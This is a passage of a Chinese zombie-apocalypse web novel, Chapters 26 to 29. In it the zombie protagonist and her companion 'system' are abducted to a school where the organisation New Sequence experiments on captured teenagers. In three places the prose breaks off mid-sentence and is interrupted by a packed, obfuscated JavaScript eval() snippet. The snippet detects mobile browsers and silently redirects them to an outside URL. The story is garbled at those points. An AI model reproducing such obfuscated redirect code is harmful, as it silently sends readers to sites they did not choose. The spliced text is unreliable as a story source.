更让人揪心的是，某学校是特殊教育学校，在领导层的带领下，学校职工为虎作伥，里面的特殊学生都难逃一劫。他们不是没有反抗，但是学校一开始的口号是给困难的特殊学生一个温暖的家，所以他们招收的学生家里无权无势，翻不起什么浪花。 某学校的罪恶才能延续如此之久。 26. Chapter 26 系统：“然后呢？” 续昼：“没有然后，末日了。” 现在想来还是很唏嘘，反转刚刚开始，就迎来了末日，好像老天都站在罪恶这一边。 面包车晃悠悠一直往前开着，仿佛不开到目的地就不会停下来。续昼自己开车开久了，会觉得是折磨，没想到坐别人的车，也是一种折磨，这个程度堪比十多个小时的长途火车硬座体验了。 续昼蹲麻了，直接席地而坐，安静等待命运安排。 在楼江镇过了几天安稳日子，她心已经飘了。 会被抓上面包车，属实是出乎意料。她也没想到有人会爬上山，还随身携带迷魂药，更没想到丧尸也能被迷晕。 续昼越想越不得劲：“系统，这科学吗？” 系统：“这很末日。” 事到如今，也没有办法。续昼只能听天由命。 也不知道过了多久，应该很久，她听到了车厢里有人肚子在咕咕叫。紧接着窸窸窣窣的声音从四面响起，声音不大，都被淹没在面包车发动机的声音之下。 一眼望过去，五个少年轻手轻脚地在吃东西。 续昼身上没有吃的，她昨天拿的食物已经不在身上了，就连她防身的小刀也不见了，想来是被人搜走了。 她看见这一幕，跟系统调侃：“你看丧尸还是有好处的，它好就好在不用吃喝，就算被人抓了几天，都还有体力逃跑。” 系统：“恭喜你了，你简直就是天选被抓圣体。” 续昼嘴角抽搐：……这个恭喜倒也不是很有必要。 续昼望着车顶和系统闲聊，没有注意到旁边人的动作。 短发女孩挪过来，从口袋里掏出一块受潮的饼干，不大，只有她手掌的一半。她没有铺垫，直接塞进续昼手里，她用气音说：“你很久没吃东西了，吃点补充体力。” 没等续昼回答，她又挪了回去。卷发男孩又从口袋里拿了饼干出来，分给短发女孩。 续昼盯着饼干出神。 通过玻璃窗透进来的光，她刚才看清了短发女孩手背上的小红点，那是由无数个针眼留下的痕迹，看起来有点骇人。 一个十五六岁的小女孩，不知道遭遇了多少，才能留下这么多针眼的痕迹。 她望向短发女孩。后者一脸倔强，正在听卷发男孩说话。 她猜想应该是在说短发女孩给她饼干的事情，因为卷发男孩在说话的百忙之中还瞪了她一眼。 她默默转过头，企图降低自己的存在感。 系统也看到了针眼痕迹，它对始作俑者啧了一声，又说：“这小女孩能忍。” “可能是不忍不行。”反抗不了，就只能忍。续昼心下郁闷，这可比刚才的丧尸没留下全尸还要难受。 “你打算怎么办？” “随机应变吧，我都不知道能不能逃出去。”前面四个人都有热武器傍身，她双拳难敌四手，如果靠系统的保护罩逃出去有点太惊悚了，她会被抓去开膛破肚研究的，而且她双腿怎么跑得过四个轮子的车。 续昼只觉得长路漫漫。 回归针眼话题。 不止短发女孩，续昼观察过其他四个少年，五人互相认识，他们和短发女孩的状态差不多，身形瘦弱，形如枯槁。如果她没判断错，他们身上也有很多针眼的痕迹。 这些痕迹不是几天就能形成的，而是经过了很长的时间，至少是以年为单位的时间段。 什么情况下，人会一直留下针眼？ 续昼不由得想起了新序列。 她们对新序列的猜想里，它是个坏组织，可能对人、对丧尸都做了坏事。那它做的坏事里面，会有这些针眼吗？ 她们只在女人那里听说了末日新序列是坏的，对于其他的组织两眼一抹黑，这么猜想显然过于草率。但是续昼第六感就是觉得这两者有联系。 再加上，这个年龄段的人，加上寻游，她一共见过六个，每个人都不像正常经历末日的样子，末日再苦再难，也不至于丧尸拿着针见人就捅吧。 等等—— 寻游，他会和这五个少年有关联吗？他隐瞒的事情又会和这个有关系吗？ 续昼越想越有理。 “系统，你怎么看？” 系统为她的联想鼓掌：“脑洞这么大吗？会有这么巧合的事吗？” “那你觉得我这些天经历的这一切正常吗？” “嗯……我觉得你猜的不错，说不定寻游就是从新序列里面逃出来的，他想找人一举干掉新序列。”系统大胆设想。 “你说的太有道理了。” 续昼偷偷地摸出新序列的那张卡片，这张卡片她藏得可深了。她打算找个机会在前面四人眼前掉出来，认识的话她就看情况借用一下身份，不认识的话就另当别论。 系统：“还得是你啊，不过你怎么觉得他们知道新序列？” “猜的，记得我们最开始遇到的那几个和女人在一起的人吗？我觉得他们挺像的。”续昼无所谓道，“赌一下又不吃亏，再不济我就顶着保护罩开车逃跑。” 她可是有后路的丧尸。 系统沉默几秒：“哇。” 系统：？ 合着后路全靠它呗。 “是的，系统，你超级棒！”续昼夸夸。 她一口就吃完了饼干，有点酸。 “系统，这饼干好潮。”续昼撇嘴。 “不可能，人小女孩送的就是好的，是你味觉出问题了。” …… 东轩彩原本计划连夜离开楼江镇，但是没想到他心里想着事，想着想着就睡着了。一觉醒来已经是第二天早上，他躺在小阳台地面上，身上盖着不知道哪里来的外套，气味很大。 寻游是醒着的，他坐在小阳台的椅子上，看着远处。 东轩彩睡了一夜的地板，起来感觉到有丝疲惫，浑身无力。他双眼放空，转动脖子活动身体，心想这睡了一夜还不如不睡。 寻游听见他的声响，问个好，又凑到他旁边问道：“我们是不是该出发了？我观察很久了，只看见远处有一两只丧尸路过。” “你昨天在哪睡的？精气神这么好。” 寻游的声音对比东轩彩，简直是充满活力。后者看着寻游，发现他脸色还好，一点也不见疲惫。 睡一夜地板还这么精神，年轻人这么抗造吗？ 他也不老啊。 东轩彩有点怀疑自己。 “在三楼的房间里。” 东轩彩：“？” 他扭脖子的动作一下就顿住，仿佛自己听错了，又问了一遍：“你说你睡的哪？” 寻游没多想，只当东轩彩没有听见，又回答了一次：“就在三楼的房间里啊，走进去左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368824|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转第一间房。” 身为即将同路的伙伴，这对吗？ 他睡床，而自己睡地板。 东轩彩很不可置信，敲着梆硬的地板发出清脆的响声：“你看见我睡在这，心里没有其他想法吗？” “有啊，我给你拿了件外套，怕你夜间着凉。”寻游点头，语气很真诚。 东轩彩不死心，继续问：“……你就没有想过把我叫醒，让我也去睡床？” “你睡得太香了，而且你那时说过让我不要打扰你，不然你就打我。”顶着东轩彩的视线，寻游越说越小声，后面的话前者已经听不清了，“而且地板也是一样的睡，我之前也睡过……” 嘶—— 这话确实是他说的，当时寻游一直在旁边自言自语，他就说不要来吵他。万万没想到自己后面意外睡着了。 追根溯源，原来是自己断了睡床的后路。 “……谢谢你。”东轩彩语塞。 抛开昨晚的没苦硬吃不谈，单说丧尸群已经恢复了之前的宁静。于是两人整装待发，离开楼江镇前往最近的北江基地，也是一开始东轩彩要去的那个基地。 东轩彩在前面开路，寻游在后面望风。 东轩彩从天河基地出来，自己是开了车的，停在楼江镇边缘地带。现在他们的目标就是车辆所在地。 绕过最后一个假山，两人到达东轩彩停车的地方—— 那里，有个人站着。 …… 发现续昼不在，寻春脑海中瞬间一片空白，情绪上头，铺开精神力就直接席卷了整个楼江镇的丧尸群，无数道声音霎时在脑海中叫嚣。 院子里的树叶无风唰唰作响。 “啪。” 一道短促而清脆的断裂声，他后知后觉，自己脑海中好像有根弦断了。 聒噪的声浪将他层层掩埋，他撑着门框，勉强稳住摇摇欲坠的身体。 直到花炸开，他的理智才回笼。 没事，续昼是安全的。 她还能炸花，就说明她目前安全。 寻春收回精神力，一切归于风平浪静，丧尸的声音消失，院子里的树叶也停止晃动。 寻春闭眼冥想。 续昼能在哪里，他目前没有一点头绪。 如果她还在楼江镇，她不会不回家。更大的概率是她已经离开了，同时她很大可能不会是自己主动离开的。 不是主动，那就是被动。被动的话，没有目标人物，想找到她简直是难入登天。 寻春长叹一口气，心里隐隐担心。 虽说她已经报了平安，身边有系统能护着她，但他还是担心，万一出了什么事，他连知晓的机会都没有…… ‘人’ ‘是人’ ‘是人’ …… 突然，丧尸传递的消息像海浪一样，一个浪接着一个浪，在他脑海里飞跃游走，中心思想只有一个，他们找到了人类。 虽然不知道为什么过了一夜，丧尸还会传递昨天的消息过来，但寻春还是第一时间做出了反应，他先把续昼的事放一边，在脑海中尝试对丧尸下命令。 经过昨天和刚才的事情，他隐约能感觉到自己的能力进一步增强了，他能命令更多的丧尸，能在脑海中找到指定的丧尸传达命令。 丧尸和人，总得先找到一个，再做打算。 27. Chapter 27 没有犹豫的机会，寻春让丧尸只需传递消息，按部就班，不要特意去拦人，不要惊动人。 他自己则根据丧尸传回来的人的非实时移动线路，来判断人要去哪里，他又要去哪里拦截。 好在是在他生活了二十多年的楼江镇，不然他根本做不到这一点。 寻春抄近路前往人要去的目的地，那是楼江镇北边的边缘地带，他们应该是要从北边离开楼江镇。 寻春一边接收整合丧尸传递的消息，一边加快赶路速度。 希望他的判断是对的。 …… 寻春倚靠在车门旁，静静等待来人。家里的食物被他全拿上了，此时正堆放在脚边。 不多时，有两道熟悉的身影从假山拐弯处出来。没错，其中一个是他要找的人，另一个也算认识。 寻春：“寻游。” 来人正是寻游和东轩彩。 三双眼睛相视，分秒之间，各有各的想法。 熟悉的人和熟悉的声音，寻游一怔，万万没有想到会在这里见到寻春。 在他的设想里，他悄悄提前离开，有足够的时间拉开与他哥哥和嫂嫂的距离，楼江镇还挺大，他们没有目标，想找到他也不容易。事实证明，一夜过去了，他们确实没有人找到他，他也稍微放下心了。 但是，就连他提前都不知道的地方，他哥哥居然在这里蹲守！他还没走出楼江镇就被逮捕了，昨天的顺利仿佛是一场梦。 这件事太令人瞠目结舌了，说出来都没有人会相信。 现在的寻春表面上看起来平静，但寻游就莫名其妙感受到了危险的气息，有点像暴风雨来临前的宁静。 最重要的是只有他一个人，嫂嫂不在这。 嫂嫂去哪了？ 寻游心道不好。 不会是嫂嫂听了他的话去找他哥哥算账，两个人之间的隔阂加深，导致分手了吧？那他岂不是弄巧成拙了？他好像闯大祸了，怎么办？求解。 寻游心里犹豫，双腿像扎根在原地，不敢上前。 “哎？兄弟你不是哑巴啊？”寻游没有回答，东轩彩先开口了。 “原来你俩认识啊，好巧，走走走。”他也不管寻游想什么，听到寻春喊寻游的名字，顺手就推着后者的肩膀走向寻春。 东轩彩认出寻春就是在阳兴市解决红眼丧尸的人，只可惜当时他还没来得及道谢，他们俩就先离开了，不过现在遇见了也是好事。 和他在一起的还有一个女生。东轩彩东看看西望望，都没有发现女生的踪迹，心下疑惑。 除此之外，还让他惊讶的是寻春会说话。毕竟那时女生说他是个哑巴。 寻春跟东轩彩打了个招呼。 两人走上前。 晨曦之下，这是一场只有一个人开心的会面。 不过两人都问了同一个问题，那就是续昼的去处。 “她临时去处理急事了，结束了就会回来。”这是寻春找的理由，至于信不信就看两人自己了。 东轩彩表示理解。他一直以为续昼和寻春和自己一样，是某个基地队伍的队员，听到这个理由没有多想，这种临时出现急事的情况，他自己也碰到过好几次。 交流一番，发现两人要去北江基地。 寻春顺势说他也要去，可以一起。东轩彩没有意见，多一个能打的力量，他求之不得。寻游的意见不做参考，本身他也是蹭个同路的。 没有过多寒暄，两人一丧尸直接开东轩彩的车上路。 关于续昼的去处，寻游是不信的。 他没有怎么说话，纯属是感受到寻春说这话的时候，盯着他的杀气。本身这事他做的就不对，再去触霉头就有点挑衅了，得等他哥哥冷静一下，他再去解释。 看来真是因为他，嫂嫂离开，不过，他哥哥不去追吗？ 这个疑问在之后休息的时候得到了答案——嫂嫂因为找他，不见了，没有人知道她在哪里。 这个答案如同一个炸弹，在寻游脑海里上演了一场蘑菇云。他面色惨白，不敢相信这个事实。但他不死心地问了好多遍，得到的都是这个答案。 他知道，寻春从不会拿嫂嫂开玩笑，所以这个消息是真的，嫂嫂因为他，现在生死未卜。 如果他昨天没有离开，嫂嫂就不会去找他，现在也不会不见…… 他有想过自己走后，他哥哥和嫂嫂他们俩会找他。 但他自认为他们俩和自己的关系没有那么亲近。旧时代没有很深刻的交际，他哥哥在念书，回家的时间不多，谈不上亲情有多深厚，嫂嫂没见过几次，更没有什么交集；末日四年更是完全分开，只在一起待过几天。说到底，也只是比陌生人亲近一些。 所以，他们俩应该不会对他的离开很上心，会出去找一找，十几分钟后没找到就可以打道回府，遇到丧尸就保命。 而不是，因为找他，出现不见的结局。 这样的结局是不对的。 因为他沦落到这样的结局是错误的。 他没有那么重要。 “你去找嫂嫂啊，你都能找到我，你肯定能找到嫂嫂，你为什么要来找我？”如果有选择，他也不应该是排在前面的那个。 “因为你嫂嫂想找到你。”寻春回答，“我们知道你有事情要做，看起来还很重要。她也不会想耽误你的事情。等你做完这件事，我就会去找她。” “我……” 他有什么重要的事情啊—— 丧尸…… 又是丧尸吗？又是他们…… “是不是昨天的丧尸？肯定是他们抓走了嫂嫂，我要全杀掉他们。”寻游猛然想起昨天奇怪的丧尸，眼里流露出浓浓的恨意。 寻春有点奇怪，但还是先替丧尸摘了黑锅：“不是他们。” “不是丧尸，那就是我……” 强烈的愧疚如翻腾的浪潮涌上心头，寻游魂不守舍，两眼无光，喃喃自语道：“是我，都是我，是我害死了嫂嫂……” 寻春一个爆栗让他清醒：“你嫂嫂只是不见了，不代表她死了。” “没死没死……”寻游猛地抓住寻春的衣服，像是抓住最后一根稻草，抬头望他，神情癫狂，“对对对，嫂嫂只是不见了，她没死，她没死。” 寻春盯着寻游抓着自己衣服的手，愁眉紧锁。不对，寻游的反应不对，他整个人仿佛陷入了魔怔，这很明显不是正常的情绪状况。 寻春当机立断打晕了寻游。 自觉给两兄弟留出叙旧的空间，独自在远处望风的东轩彩听到声响，立马跑了过来。 这怎么两人聊着聊着，还晕了一个呢？ 东轩彩询问寻春发生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378854|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。 寻春摇头，表示一头雾水，发生了什么还得等寻游醒了，才知道答案。 旧时代，寻游的精神状态就是正常的，有点调皮无伤大雅，绝对不到得精神病的程度。不过，单看他刚才的状态却有点像发病的症状。 寻春看向倒在怀中的寻游，此刻他闭眼，脸色祥和，丝毫不见刚才的癫狂。 在末日里他到底遭遇了什么。 …… 面包车开了一天才进入丘西市。 途中有遇到几次小型丧尸群，很快就被四个男人拿热武器干掉了，或者直接开车碾压过去。 他们下手毫不留情。 续昼透过玻璃窗能勉强看到外面的景象，和最开始遇到的那群人别无两样。这让她更加确定自己的猜想。 这么长的路程，他们自己在前面吃得开心，不给后车厢的人一点食物，丝毫没有要管后车厢的死活。 续昼想起自己被抓前拎着的一大袋食物，有点心痛。 “系统，我的食物是不是都便宜他们了？” 严谨的系统：“很有可能。” 果然，被抓的人是没有食物所有权的。 续昼无需进食，对她影响不大。 但是短发女孩认为她需要吃东西，在续昼身无食物的情况下又给了她两次吃的。她想拒绝，把食物留给短发女孩。 许是为了防止续昼这么做，每次短发女孩送完就跑，躲去卷发男孩身后。 续昼想还给卷发男孩，遭到拒绝。 他还说：“你不吃，是不是怕我们下毒？” 这句话一出，续昼立马一口吞，以证清白。 天知道她只是怕她们自己饿着，每次看他们就吃一块饼干，饼干还被分成好几瓣，她看着就心酸，但是她又不能说自己不需要吃东西。 只好退而求其次，让短发女孩少给她一点，多留点给自己。 其实她不懂短发女孩怎么就对自己这么好心，难道就认定她是好的吗？ “或者真的是下毒？”续昼联想人性之恶的内容。 系统反问：“浪费来之不易的食物，就为了毒死你？她能得到什么？前面四人也不给吃的啊。” “说的也对，”续昼觉得系统的话很有道理，“而且，毒也没那么轻易得到。” 所以，短发女孩是真的很关心她。 续昼背负着短发女孩的关心，还是有点压力：“真是甜蜜的负担啊。” “你运气也是好，遇到这么好的小女孩，自己被抓了，还要担心你吃不饱。”系统说。 “是啊。”续昼默默下定决心，有机会的话，一定要把短发女孩救走，哦不，这一车的都要救。 续昼看着在角落成堆蹲着的五个少年。 他们虽外观各不相同，有一点却很相似。每个人看起来都习惯了在黑暗的地方待着，他们面容平和，并不焦躁，温顺如小绵羊。 她坐的玻璃窗这边会有光亮透进来，没有一个人想过来。就连给她送饼干的短发女孩，也会小心避开光亮的地方，就像是害怕光亮。 反倒是他们在黑暗中却有安全感。 这太不正常了。 续昼一夜没睡，就着月光发呆。 第二天早上，续昼照例做完打赏任务报个平安。中午，面包车驶进丘西市。 28. Chapter 28 丘西市没有什么特别的，荒废的程度与其他城市别无两样，非要说，那就是从一个废墟到了另一个废墟。 面包车停在一所学校门口。 系统查到，在旧时代这所学校叫仁惠学校，官网上解释这个名字寓意以仁爱之心教育学生，惠及每一个孩子。 仁惠学校。 续昼默念几遍，名字听着有点耳熟，就是一时半会儿想不起在哪听过。 面包车停稳后，前排的四个人都拿着热武器下车了。长发男人打开后车厢的门，嘴角保持上扬的状态，看得人心里不适。剩下三个人站在一旁，续昼借此机会看清了坐在主、副驾驶上的两个人。 其中一个人国字脸，一副老实的样子。另外一个人很平常，是大众脸，没有什么记忆点。 这两人和长发男人、伤疤男人站在一起，看起来格格不入。但听他们的称呼，又是老大又是老二的，身份还挺高。 续昼在心里点评：“所以，狠人都是这么不显山漏水的。” 系统跟票：“真正的隐藏往往只需要最朴素的外表。” 续昼不敢过多放肆，只看了一眼，就收回视线，跟着五个少年起身，没有多余的动作，静等后续。 看见六个如鹌鹑般站立的人，长发男人乐了：“呦，还挺乖，也不闹腾，这可比上次送的那几个好多了。” “好什么好，都一样的，指不定什么时候就想跑，”伤疤男人面目凶煞，对着车轮胎旁边开了一枪，威胁道，“都给我老实点，不准跑，不然我一枪就干死你。” “砰！” 子弹瞬间到地，溅起碎石砾弹到车厢里发出声响。 空气中弥漫着一股说不出的凝重，五个少年都下意识退了一小步，低着头，只剩呼吸声在车厢里流转。 续昼本来还在思考怎么让卡片更自然的落出来，枪声一出，她整个人一下子就清醒了。居然开枪了，她没想过伤疤男人会来这一出。 “好了，赶紧送进去，免得生事。”国字脸发话了，听声音，他就是那个老大，另外一个大众脸是老二。 “好嘞，”长发男人指挥道，“都给我排队，一个个下来。我可警告你们了，不要想着动那些歪脑筋，不然子弹可是不长眼的。” 大众脸啐了一口。 三人举起枪管，对准后车厢里的人，防止他们逃跑。 续昼因为坐在前面的玻璃窗那边，所以落到了最后的位置。 她摸了摸口袋的卡片，握紧拳头，给自己加油打气。 卡片啊卡片，你一定要顺利掉出来，能不能有美好生活就靠你了。 五个少年一点反应也没有，没有拖沓，很顺从的下车，默契站在一边等待，这一套熟练的动作像是做过了很多遍。 续昼心思在卡片上，没有注意到这一点，不过系统记住了，在小本本上添了一笔。 卷发男孩下车，轮到续昼。 续昼走上前，一个小幅度抬手—— 一张卡片不经意间飘到地上。 “等等。”国字脸突然开口，所有人停下动作。紧张的气氛一触即发。 完美，成功吸引所有人的注意。 续昼内心窃喜。 接下来就是第二步。 国字脸与大众脸交换视线，后者点头，上前捡起卡片。 黑红交汇的卡片展示在众人面前。 五个少年的反应最大。 卡片一出现，他们的态度直接转变为厌恶，短发女孩失望的挪到卷发男孩身后，卷发男孩对续昼怒目而视，只气自己看错了人。 他们对新序列的态度显而易见，也代表续昼和他们友谊的绳子断了。 续昼的目光面无表情地掠过他们，心里却直犯嘀咕。 很好，她已经“得罪”他们了，只希望另一波四人的反应不会让她失望，不然努力就白费了。 国字脸接过大众脸递过来的卡片，反复打量。几秒后，他问：“这是你的？” “不然是你的吗？”续昼神色自若地从车上跳下来，抬起左手，伸出两根手指推开长发男人指着她太阳穴的枪口。 一片死寂的气氛让人不寒而栗。 “你——”大众脸刚想说什么，就被突如其来的声音打断。 清脆的脚步声从学校门里传出来，身着红衣的女人出现在众人眼前。她右手转着钥匙，扫视一圈，视线停在续昼身上，挑眉，开着玩笑说：“怎么？又是蹭顺风车回来的？看起来你这一车不太行啊。” 轻快的语调像是导火索，霎时间，气氛直接破碎。 女人举手投足之间都很随意，话语听起来没有一点威慑力，却同时让四个男人变了脸色。 系统在脑海里拉起鸣笛声：“哇哦，美救美！好看爱看多来点。” “自己开车哪有顺风快？”续昼接话，“这一车还行，一般般吧。” 国字脸面色不虞，却没有发作。他沉默着将卡片递给续昼，又打手势让其他三人赶紧带着五个少年进学校。 很显然，他并不想和女人硬碰硬。 他们跑路的速度快得像一阵风，眨眼间就进入学校，不见了。 女人也没拦着他们，甚至挪动脚步给他们让出位置，还贴心提醒：“路上小心点，这路可不好走呢。” 伤疤男人想转头说什么，被大众脸一下子薅回去了。 续昼将卡片塞回口袋，刚好看到这一幕。她和系统蛐蛐：“一物降一物啊。” “站在食物链顶端的女人来降你了。”系统说。 来人正是她们之间见过两次的女人。 她没有寒暄，直接招手让续昼跟着。续昼二话不说就跟上她的步伐。 系统：“你挺上道啊。” “识时务为俊杰。” 女人带着续昼去了学校旁边的一栋房。推开房间，全是人生活的痕迹。女人关上门，脱掉红色外套，换上另一件深色外套。 续昼自觉坐在椅子上。 女人给续昼倒了杯水。 “我不是告诉你要远离新序列吗？怎么还特意跑到老巢来了？”女人问。 “如你所见，被抓来的。”续昼象征性喝了一口水，叹气。 随便被抓上个面包车，就能摸到新序列的老巢，她怀疑自己命里有新序列的八字。 女人点点头：“你运气挺好，组织里刚说要抓几个新人做实验，你就被抓到了。” 续昼呆滞：哈？ 她听到了什么，新序列要抓人做实验？这么大的秘密是她能听的吗？ “做什么实验？”是的，她不仅能听，她还要得寸进尺的细问。 “你猜。”女人卖了个关子。 续昼在脑海与系统进行思想碰撞。 众所周知，对人进行实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385092|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验一般来说，都不是好实验。放在末日里，续昼只能想到和丧尸相关。 她问：“和丧尸有关吗？” “对。” 一个人能和丧尸有关的实验，“不会是感染性病毒吧？” 女人点头。 “随随便便就告诉我这么机密的东西？”续昼疑问，“你不怕我告密？” 女人摊手耸肩，表情无辜，无所谓说道：“我又没说，这是你自己猜到的。” 续昼眨眼。 系统哇一声：“她好坦荡，是不是和新序列有仇啊？” “我猜大概是的。” 女人没再继续这个话题，转而打探她们分开后，续昼遇到的事情。 续昼秉持着凡事都要留一手的想法，编了一大半的故事。 分开后遇到了丧尸，她和寻春走散，一队人冒出来救了她，好心将她送去基地。在基地里她又被欺负，要去做最苦最累的活。紧接着还被忽悠外出打探情况，就在打探的时候，她又遇到了丧尸，阴差阳错就被刚才的四个男人抓了，送到这里来。 系统：“你这改的真面目全非啊。”没有一件事能搭上边。 “我脑海中真切经历的怎么不算经历呢？”续昼吹牛的同时还不忘与系统诡辩。 女人听的滋滋有味，只恨手里没有瓜子。 很久没有听到这么有活力的故事了，虽然是编的，但也够了。上次分开后，她就回到了新序列老巢，枯燥的日常让她麻木。 好在，今天有了点不同。 续昼讲故事的时候，表情生动，手舞足蹈，实打实的夺人眼球。 真好。 女人笑的很温柔。 续昼在女人家旁边住了下来。 为什么不住女人家，这是个好问题，因为她觉得凡事都要留一手。女人好是好，但是她心里总有点说不上来的感觉。 系统：“是因为她立场不明？” “有点。”毕竟女人的底细她一点也不知道。 续昼坐在窗边，靠着椅背，双手盘到脑后，看着不远处的仁惠学校。学校里的建筑都是红黄相间的。 她就说为什么学校名字很耳熟，看到这特别的建筑颜色，她才想起来，这所学校就是丘西市那所上新闻的特殊教育学校。 她在视频里见到最多的背景就是学校中央的标志性建筑——一个球形的镂空雕塑。 新序列的老巢居然驻扎在学校里。 听上去就很割裂。 “命运指引我到这里，是不是为了让我进去收集情报？” 系统：“那是指引来的吗？不是把你绑来的吗？” 续昼感觉自己挺命苦。 女人说，新序列周边都有人二十四小时监视的，只要她来了，她就已经处于监视下了。 虽然续昼没进去学校，但是她已经上了名单，她的所有行为都会被记录下来，一旦有异动就会被抓住，送到学校里面处理。 那四个男人与新序列是合作关系，经过学校门口的一番对峙，她勉强算进了女人的队伍，因为没有备案，但她暂时也是安全的。如果她想在丘西市逛一逛是可以，但是要离开的话，没有审批是不行的。 要是选择强行离开，等待她的将是无数的枪口。 女人最后还说—— 在末日，丘西市是最安全的地方，也是最危险的地方。 29. Chapter 29 “系统，老天要亡我啊。”续昼站在人工湖边，仰天长叹。 “不怕，老天腿短，你是有机会跑的。”来自系统的无效安慰，“坚强，孩子。” 续昼微笑。 被困在丘西市的这几天，就和初到楼江镇的日子一样，如同来到了适应期，无事可做。 续昼每天的日常就是，上午按时打卡做打赏任务报平安，白天去市里逛一圈。逛了一趟半马下来，没见到人，也没见到丧尸。 空荡荡的城市里，唯有照在她手臂上的红点，给她一种诡异的安全感。 续昼还指着红点，高兴的对系统说：“你看，还是有人在乎我的。” “是，不仅有人在乎你，远方还有丧尸在乎你呢。”系统汗颜。 “没办法，谁让我的魅力这么大呢。”续昼大方承认。 系统：…… 依照这种见不到丧尸的情况，难怪女人会说丘西市是最安全的地方。 那最危险的地方又是指什么呢？ 续昼觉得这个问题得进去学校才能知道。 另外，关于女人说的二十四小时监视人员，这个详情请看续昼手臂上的红点就知道了，很明显肯定是有的，藏的还挺严实。 综上，女人虽然立场不明，但她的话都是真的，也没有害过续昼。 只是不清楚她的身份。 续昼也找机会问过女人的情况，但死活撬不开女人的嘴。到目前为止，她对女人仍是一无所知。 就连名字，女人也不说。也不愿意拿个假名字来糊弄她。 这就有点像旧时代深交的网友。 你们可以聊着天南海北的话题，可以分享不能给外人说的秘密，但你们从来没有见过面，也不知道彼此的真实身份。 续昼感觉她和女人就是这样，只不过聊天模式从网络变成了现实。 不知道这样的日子还会持续多久。 续昼慢慢散步回学校附近。 与续昼的生活相反，女人每天都会去学校里面。进去之前还是英气勃勃，出来就是一张疲惫的脸，一时间仿佛老了好几岁。 续昼想起旧时代总说的上班使人憔悴，女人现在的状态就像旧时代打工人一样。 果然，上班如魔咒。 续昼都有点怜爱了：“这都末日了，还要上班的悲催人类。” “不管哪个时代都是要上班的，不然跟行尸走肉有什么区别。”系统说，它还举了例子，比如它们系统也是要上班的。 所谓的“上班”就是个代称，其实都是一个上班的过程，只不过上班的形式、内容等等不一样。 “可我好像不用上班。” “你每天做打赏任务，不就是上班吗？”系统列举了一系列打赏任务和上班的共同点，成功让续昼接受自己在上班的设定。 只不过这份“上班”很轻松，放在旧时代，这种类型的上班就是她的追求。 也就是末日来了，不然旧时代她哪能这么轻松啊。 续昼更加喜欢自己的丧尸身份了。 一路闲聊，回到学校附近，女人正好从学校里面出来。 续昼看见了她，就停下脚步，想着和她一起走回去。 女人没让她等多久，很快就走过来了。 续昼看着她，直觉今天她的心情比较好。 “心情很好？”续昼直接问。 女人嘴角浅笑，点头肯定：“还可以。” 她们在外面没有多聊，到了住处，女人率先停在续昼房门前。续昼懂了，开门让女人先进去，她后进门，顺手把门关上。 女人说这边的住处是没有人窃听的，不用担心随口说了一句话就有生命危险。 这几天，她们谈话都是在女人房间里进行的，现在突然换到她房间，续昼心想准是有大事了。 续昼给女人倒了水。 女人开门见山：“你做好准备了吗？” 问的没头没脑，但续昼知道她在问什么。 这几天，学校门口一直有车辆过来。这些车辆都是给学校送人的，一次只有四、五个人，少量多次，零散加起来也有几十人了。 这些人，很多都是新序列用来做实验的。 全都有进无出。 续昼每次看着新人被押进去，她想进去救人的想法就更强烈。 女人给的那张卡片，是新序列的通行证，持有卡片的人可以进入学校。 她有好几次都想直接冲进去，但是被女人拦下了。 续昼问她：“你不是说拿着卡片就能进去吗？你拦我做什么？” “可以进去，但我不建议你现在进去。”女人对上续昼的视线，语气认真，“你没有做好准备，进去干什么？去体验一下它的新实验吗？” “我……”续昼哑口无言。 她很清楚自己的想法只是一时上头的情绪，根本没有准备，也没有计划。 她看到有人进去了，她也知道新序列要做坏事，所以她想阻止这件事的发生，毕竟少一个人受到伤害就是一次成功。 所以，她就想进去。 万一她走运……救到了呢？ 女人似是知道续昼在想什么，直接点明，她现在进去就是羊入虎口，根本没有一点用，只会白白搭进去她自己。 女人让续昼仔细想清楚，只有等她做好准备的那个时候，才是进去救人的好时机。 做好什么准备？ 当然是，死亡的准备。 续昼收回思绪，和女人并排坐着，一起看向窗外，视线里正好能看到红黄相间的学校。 女人有劝过她：“不要怀疑，新序列就是你想象中的那么黑暗。或许还会更加黑暗。” 所以，如果她没有做好面对黑暗的准备，她就不如趁早远离。 续昼思维一活跃，就会想到很多无关的事情。 说实话，她并不是一个大义的人，能在第一时间就毫无顾忌冲上去救人。 很多时候，她只是靠着某一瞬间的肾上腺素，去替她迈出第一步。再往后，就是她劝着自己，继续下一步，直到这一件事情结束。 